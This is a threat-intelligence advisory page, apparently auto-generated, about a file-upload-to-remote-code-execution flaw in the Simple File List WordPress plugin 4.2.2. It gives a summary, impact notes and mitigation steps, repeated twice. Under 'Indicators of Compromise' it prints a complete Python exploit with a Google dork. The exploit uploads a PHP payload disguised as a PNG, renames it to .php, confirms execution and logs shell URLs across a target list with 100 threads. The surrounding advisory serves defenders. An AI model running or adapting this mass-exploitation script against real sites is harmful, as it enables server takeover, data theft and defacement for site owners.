Simple File List WordPress Plugin 4.2.2 - File Upload to RCE
Simple File List WordPress Plugin 4.2.2 - File Upload to RCE
AI Analysis
Technical Summary
The Simple File List WordPress Plugin version 4.2.2 contains a critical security vulnerability that allows an attacker to achieve remote code execution (RCE) via a file upload flaw. This vulnerability arises because the plugin insufficiently validates or restricts the types of files that can be uploaded, enabling an attacker to upload malicious files such as web shells or scripts. Once uploaded, these files can be executed on the server, allowing the attacker to run arbitrary code with the privileges of the web server process. This can lead to full system compromise, data theft, defacement, or pivoting to other internal systems. The exploit is publicly known and documented in Exploit-DB under ID 52371, with available exploit code written in Python, which automates the attack process. Although no official patch links are provided, the presence of exploit code indicates that the vulnerability is exploitable in the wild, even if no widespread exploitation has been reported yet. The plugin is used in WordPress environments, which are common across many organizations, making this a significant threat vector especially for websites relying on this plugin for file management.
Potential Impact
For European organizations, this vulnerability poses a severe risk to the confidentiality, integrity, and availability of their web infrastructure. Organizations using the Simple File List plugin on WordPress sites could face unauthorized access, data breaches, defacement, or complete server takeover. This could disrupt business operations, damage reputation, and lead to regulatory penalties under GDPR if personal data is compromised. The attack could also be a foothold for further lateral movement within corporate networks. Given the critical nature of the vulnerability and the availability of exploit code, European organizations with public-facing WordPress sites are at high risk, especially those in sectors like finance, healthcare, government, and e-commerce where data sensitivity and uptime are paramount.
Mitigation Recommendations
1. Immediate action should be to identify all WordPress instances running the Simple File List plugin and verify their version. 2. If version 4.2.2 is in use, disable the plugin or restrict file upload capabilities until a patched version is available. 3. Implement strict file upload validation and filtering at the web server or application firewall level to block executable file types and suspicious payloads. 4. Employ web application firewalls (WAFs) with rules designed to detect and block exploitation attempts targeting this vulnerability. 5. Monitor web server logs for unusual file uploads or execution patterns indicative of exploitation attempts. 6. Regularly update WordPress plugins and core to the latest versions once patches are released. 7. Conduct thorough security audits and penetration tests focusing on file upload functionalities. 8. Employ least privilege principles for web server processes to limit the impact of potential exploitation. 9. Backup website data and configurations regularly to enable quick recovery in case of compromise.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland, Belgium, Sweden, Austria
Indicators of Compromise
- exploit-code: # Exploit Title: Simple File List WordPress Plugin 4.2.2 - File Upload to RCE # Google Dork: inurl:/wp-content/plugins/simple-file-list/ # Date: 2025-07-15 # Exploit Author: Md Amanat Ullah (xSwads) # Vendor Homepage: https://wordpress.org/plugins/simple-file-list/ # Software Link: https://downloads.wordpress.org/plugin/simple-file-list.4.2.2.zip # Version: <= 4.2.2 # Tested on: Ubuntu 22.04 # CVE: CVE-2020-36847 #!/usr/bin/env python3 import requests import sys, os from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urljoin from colorama import Fore, init init(autoreset=True) HEADERS = {'User-Agent': 'Mozilla/5.0'} PHP_PAYLOAD = "<?php echo 'Vuln!!!'; ?>" UPLOAD_PATH = "wp-content/plugins/simple-file-list/ee-upload-engine.php" RENAME_PATH = "wp-content/plugins/simple-file-list/ee-file-engine.php" UPLOAD_FOLDER = "wp-content/uploads/simple-file-list/" def FilterURLS(site): site = site.strip() if not site.startswith(('http://', 'https://')): site = 'http://' + site if not site.endswith('/'): site += '/' return site def upload_payload(base): upload_url = urljoin(base, UPLOAD_PATH) try: files = {'file': ('pwn.png', PHP_PAYLOAD, 'image/png')} r = requests.post(upload_url, files=files, headers=HEADERS, timeout=10, verify=False) r.raise_for_status() result = r.json() return result.get('file') except Exception: return None def rename_payload(base, filename): rename_url = urljoin(base, RENAME_PATH) try: new_name = filename[:-4] + '.php' data = {'oldFile': filename, 'newFile': new_name} r = requests.post(rename_url, data=data, headers=HEADERS, timeout=10, verify=False) r.raise_for_status() result = r.json() return result.get('newFile') except Exception: return None def exploit(site): base = FilterURLS(site) try: filename = upload_payload(base) if not filename: print(Fore.RED + f"[Failed] - {site}") return newfile = rename_payload(base, filename) if not newfile: print(Fore.RED + f"[Failed] - {site}") return shell_url = urljoin(base, UPLOAD_FOLDER + newfile) r = requests.get(shell_url, headers=HEADERS, timeout=10, verify=False) if r.status_code == 200: print(Fore.GREEN + f"[Exploited] - {shell_url}") with open("shells_found.txt", "a") as f: f.write(shell_url + "\n") else: print(Fore.RED + f"[Failed] - {site}") except Exception: print(Fore.RED + f"[Failed] - {site}") def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} list.txt") sys.exit(1) targets_file = sys.argv[1] if not os.path.isfile(targets_file): print(f"File {targets_file} not found.") sys.exit(1) with open(targets_file) as f: targets = [line.strip() for line in f if line.strip()] with ThreadPoolExecutor(max_workers=100) as executor: futures = [executor.submit(exploit, target) for target in targets] for _ in as_completed(futures): pass if __name__ == "__main__": requests.packages.urllib3.disable_warnings() main()
Simple File List WordPress Plugin 4.2.2 - File Upload to RCE
Description
Simple File List WordPress Plugin 4.2.2 - File Upload to RCE
AI-Powered Analysis
Technical Analysis
The Simple File List WordPress Plugin version 4.2.2 contains a critical security vulnerability that allows an attacker to achieve remote code execution (RCE) via a file upload flaw. This vulnerability arises because the plugin insufficiently validates or restricts the types of files that can be uploaded, enabling an attacker to upload malicious files such as web shells or scripts. Once uploaded, these files can be executed on the server, allowing the attacker to run arbitrary code with the privileges of the web server process. This can lead to full system compromise, data theft, defacement, or pivoting to other internal systems. The exploit is publicly known and documented in Exploit-DB under ID 52371, with available exploit code written in Python, which automates the attack process. Although no official patch links are provided, the presence of exploit code indicates that the vulnerability is exploitable in the wild, even if no widespread exploitation has been reported yet. The plugin is used in WordPress environments, which are common across many organizations, making this a significant threat vector especially for websites relying on this plugin for file management.
Potential Impact
For European organizations, this vulnerability poses a severe risk to the confidentiality, integrity, and availability of their web infrastructure. Organizations using the Simple File List plugin on WordPress sites could face unauthorized access, data breaches, defacement, or complete server takeover. This could disrupt business operations, damage reputation, and lead to regulatory penalties under GDPR if personal data is compromised. The attack could also be a foothold for further lateral movement within corporate networks. Given the critical nature of the vulnerability and the availability of exploit code, European organizations with public-facing WordPress sites are at high risk, especially those in sectors like finance, healthcare, government, and e-commerce where data sensitivity and uptime are paramount.
Mitigation Recommendations
1. Immediate action should be to identify all WordPress instances running the Simple File List plugin and verify their version. 2. If version 4.2.2 is in use, disable the plugin or restrict file upload capabilities until a patched version is available. 3. Implement strict file upload validation and filtering at the web server or application firewall level to block executable file types and suspicious payloads. 4. Employ web application firewalls (WAFs) with rules designed to detect and block exploitation attempts targeting this vulnerability. 5. Monitor web server logs for unusual file uploads or execution patterns indicative of exploitation attempts. 6. Regularly update WordPress plugins and core to the latest versions once patches are released. 7. Conduct thorough security audits and penetration tests focusing on file upload functionalities. 8. Employ least privilege principles for web server processes to limit the impact of potential exploitation. 9. Backup website data and configurations regularly to enable quick recovery in case of compromise.
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Technical Details
- Edb Id
- 52371
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Simple File List WordPress Plugin 4.2.2 - File Upload to RCE
# Exploit Title: Simple File List WordPress Plugin 4.2.2 - File Upload to RCE # Google Dork: inurl:/wp-content/plugins/simple-file-list/ # Date: 2025-07-15 # Exploit Author: Md Amanat Ullah (xSwads) # Vendor Homepage: https://wordpress.org/plugins/simple-file-list/ # Software Link: https://downloads.wordpress.org/plugin/simple-file-list.4.2.2.zip # Version: <= 4.2.2 # Tested on: Ubuntu 22.04 # CVE: CVE-2020-36847 #!/usr/bin/env python3 import requests import sys, os from concurrent.futures impo... (2813 more characters)
Threat ID: 687ffbf0a915ff00f7fb532e
Added to database: 7/22/2025, 9:00:32 PM
Last enriched: 8/18/2025, 1:21:29 AM
Last updated: 8/30/2025, 11:34:38 AM
Views: 60
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